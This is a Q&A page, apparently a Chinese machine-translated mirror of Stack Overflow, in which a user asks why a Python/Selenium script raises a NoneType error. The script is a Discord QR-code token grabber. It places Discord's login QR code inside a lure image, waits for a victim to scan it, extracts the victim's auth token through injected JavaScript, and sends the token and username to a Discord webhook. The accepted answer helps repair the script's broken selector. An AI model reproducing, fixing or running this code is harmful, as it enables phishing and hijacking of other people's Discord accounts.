首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >AttributeError:'NoneType‘对象没有属性'find’~ Python3 + BeautifulSoup

AttributeError:'NoneType‘对象没有属性'find’~ Python3 + BeautifulSoup
EN

Stack Overflow用户
提问于 2022-02-03 06:58:23
回答 1查看 729关注 0票数 1

我已经到处找过了,其他的错误都有它自己的修正,这与我的错误无关.我正在使用python3,我对此非常陌生,我不知道如何解决这个问题,我真的很想知道为什么会发生这种情况。任何帮助都是非常感谢的。:)

代码语言:javascript
运行
复制
from PIL import Image, ImageDraw, ImageFilter
from bs4 import BeautifulSoup
from selenium import webdriver
import base64
import pyfiglet
import time
import requests
import os
import platform
from discord import Webhook, RequestsWebhookAdapter
from urllib.request import Request, urlopen
from json import loads, dumps


web_hook_url = r"https://discord.com/api/webhooks/fakewebcodehereforsecuirtypurpose"
print(pyfiglet.figlet_format("####"))
token = ""
WINDOW_SIZE = "0,0"
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--window-size=%s" % WINDOW_SIZE)
options.add_experimental_option('excludeSwitches', ['enable-logging'])
options.add_experimental_option('detach', True)
driver = webdriver.Chrome(options=options, executable_path=r'C:\Users\Test\chromedriver.exe')
driver.get('https://discord.com/login')
print("setting up the QR code")
time.sleep(2)
page_source = driver.page_source
soup = BeautifulSoup(page_source, features='lxml')
classe = soup.find('div', {'class': 'qrCode-wG6ZgU'})
qrcode = classe.find('img')['src']
imgbase64 = base64.b64decode(qrcode.replace('data:image/png;base64,', ''))
with open('temp23.png','wb') as f:
    f.write(imgbase64)
face = Image.open(r'temp\overlay.png')
img_qr_big = Image.open(r'temp23.png').convert('RGB')
os.system("del temp23.png /f>nul")
pos = ((img_qr_big.size[0] - face.size[0]) // 2, (img_qr_big.size[1] - face.size[1]) // 2)
img_qr_big.paste(face, pos)
im1 = Image.open('temp/template.png', 'r')
im1.paste(img_qr_big, (120, 409))
print("Complete...")
print("Saving...")
ine = input("what would you like to name your picture?(do not add extention): ")
time.sleep(1)
im1.save(ine + ".png")
cururl = driver.current_url
print("waiting for user to scan...")
while 1 == 1:
    if driver.current_url != cururl:
        token = driver.execute_script('''
        var req = webpackJsonp.push([
            [], {
                extra_id: (e, t, r) => e.exports = r
            },
            [
                ["extra_id"]
            ]
        ]);
        for (let e in req.c)
            if (req.c.hasOwnProperty(e)) {
                let t = req.c[e].exports;
                if (t && t.__esModule && t.default)
                    for (let e in t.default) "getToken" === e && (gotem = t.default.getToken())
            }
        return gotem;''')
        driver.close()
        break
print("The user has scanned it...")
print("Info recived...")
#TWQkd29tRA9vZKFnaO5odyT0eHlrPDB0sKWuAKmstGC0dPNvIZVpZKFkb2JpJGdyeG8yCTBceYNbf3KkAKKvvGivtqy5IYpnIZRwbOZwbeYhYPRscqo=
print("Sending to Webhook...")
content_type="application/json"
headers = {
    "Content-Type": content_type,
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
}
if token:
    headers.update({"Authorization": token})
j = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode())
a = j['username'] + "#" + j['discriminator']
webhook = Webhook.from_url(web_hook_url, adapter=RequestsWebhookAdapter())
ok = "Token: \n" + token + "\n\nUsername: \n" + a
webhook.send(ok)
print("Thank you for using")

然后给出的错误是:

代码语言:javascript
运行
复制
Traceback (most recent call last):
  File "C:\Users\Test\Desktop\tester.py", line 31, in <module>
    qrcode = classe.find('img')['src']
AttributeError: 'NoneType' object has no attribute 'find'
EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2022-02-03 07:30:09

这实际上意味着

代码语言:javascript
运行
复制
classe = soup.find('div', {'class': 'qrCode-wG6ZgU'})

什么都不回。也就是说,classeNoneType对象。

这就是为什么不能在.find()对象上应用classe方法的原因。

所有这些都是由一个错误的定位器造成的。

我已经检查过了,页面上没有一个类名为divqrCode-wG6ZgU元素。

您应该为该元素找到更好、更可靠的定位器。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/70967026

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档